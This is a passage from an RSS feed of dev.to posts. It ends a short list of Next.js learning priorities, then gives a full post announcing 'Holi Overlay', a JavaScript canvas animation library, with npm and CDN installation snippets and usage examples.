&lt;p&gt;Focus on these first when learning Next.js:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;App Router&lt;/li&gt;
&lt;li&gt;Server Components&lt;/li&gt;
&lt;li&gt;Data Fetching&lt;/li&gt;
&lt;li&gt;API Routes&lt;/li&gt;
&lt;li&gt;Deployment&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Everything else builds on top of these.&lt;/p&gt;




&lt;p&gt;If you're currently learning Next.js, this foundation will take you &lt;strong&gt;much further than memorizing random tutorials&lt;/strong&gt;.&lt;/p&gt;

</description>
      <category>nextjs</category>
      <category>react</category>
      <category>webdev</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Holi Overlay — Add Vibrant Holi Celebration Effects to Any Website</title>
      <dc:creator>VIKAS</dc:creator>
      <pubDate>Tue, 03 Mar 2026 18:01:52 +0000</pubDate>
      <link>https://dev.to/devcodehub99/holi-overlay-add-vibrant-holi-celebration-effects-to-any-website-31j3</link>
      <guid>https://dev.to/devcodehub99/holi-overlay-add-vibrant-holi-celebration-effects-to-any-website-31j3</guid>
      <description>&lt;h2&gt;
  
  
  🎉 Holi Overlay — Bring Your Website Alive With Festive Colors! 🌈
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;A JavaScript overlay that brings colorful Holi effects — water balloons, pichkaari streams, ambient gradients — to your web project in one line of code!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I just shipped a &lt;strong&gt;fun, customizable Holi festival overlay&lt;/strong&gt; that you can drop into &lt;em&gt;any website&lt;/em&gt; in seconds!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://devcodehub99.github.io/holi-overlay/demo.html" rel="noopener noreferrer"&gt;👉 &lt;strong&gt;Live Demo&lt;/strong&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://www.npmjs.com/package/holi-overlay" rel="noopener noreferrer"&gt;📦 &lt;strong&gt;npm Package&lt;/strong&gt;&lt;/a&gt; &lt;br&gt;
&lt;a href="https://github.com/DevCodeHub99/holi-overlay" rel="noopener noreferrer"&gt;💻 &lt;strong&gt;Source Code&lt;/strong&gt;&lt;/a&gt;  &lt;/p&gt;




&lt;h2&gt;
  
  
  🚀 What Is Holi Overlay?
&lt;/h2&gt;

&lt;p&gt;Holi Overlay is a &lt;strong&gt;lightweight, zero-dependency animation library&lt;/strong&gt; that renders a full-screen Holi celebration on your site — complete with vibrant water balloons, pichkaari color streams, and realistic splash particles. It's perfect for:&lt;/p&gt;

&lt;p&gt;🎊 Festive pages&lt;br&gt;&lt;br&gt;
🎁 Seasonal campaigns&lt;br&gt;&lt;br&gt;
🎯 Interactive celebrations&lt;br&gt;&lt;br&gt;
🎨 Colorful UI experiences&lt;/p&gt;

&lt;p&gt;All of this runs &lt;strong&gt;without blocking interactions&lt;/strong&gt; — users can still click and scroll while the effects play!&lt;/p&gt;




&lt;h2&gt;
  
  
  🧩 What's Inside the Overlay
&lt;/h2&gt;

&lt;p&gt;Once active, Holi Overlay gives you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;💦 Water balloons flying &amp;amp; bursting with splash physics
&lt;/li&gt;
&lt;li&gt;🌈 Pichkaari color trails with particle streams
&lt;/li&gt;
&lt;li&gt;✨ Ambient gradients &amp;amp; powder clouds
&lt;/li&gt;
&lt;li&gt;🧘‍♂️ Non-interactive canvas overlay (pointer-events: none)&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  📦 Installation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  🛠️ Via npm
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm install holi-overlay
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// In your JavaScript
import HoliOverlay from 'holi-overlay';

// Start the overlay
HoliOverlay.start({
  maxBalloons: 15,
  opacity: 0.95
});

// Toggle on/off
HoliOverlay.toggle();

// Check status
if (HoliOverlay.isRunning()) {
  console.log('🎨 Holi mode active!');
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  📌 CDN (No Build Tools Needed)
&lt;/h3&gt;

&lt;p&gt;Simply inject 2 lines before &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt;:&lt;/p&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;script src="https://cdn.jsdelivr.net/npm/holi-overlay@latest/dist/holi-overlay.umd.js"&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;script&amp;gt;HoliOverlay.start();&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;#webdev #javascript #opensource #npm #overlay #animation #canvas #css #html&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>npm</category>
      <category>javascript</category>
      <category>opensource</category>
    </item>
  </channel>
</rss>
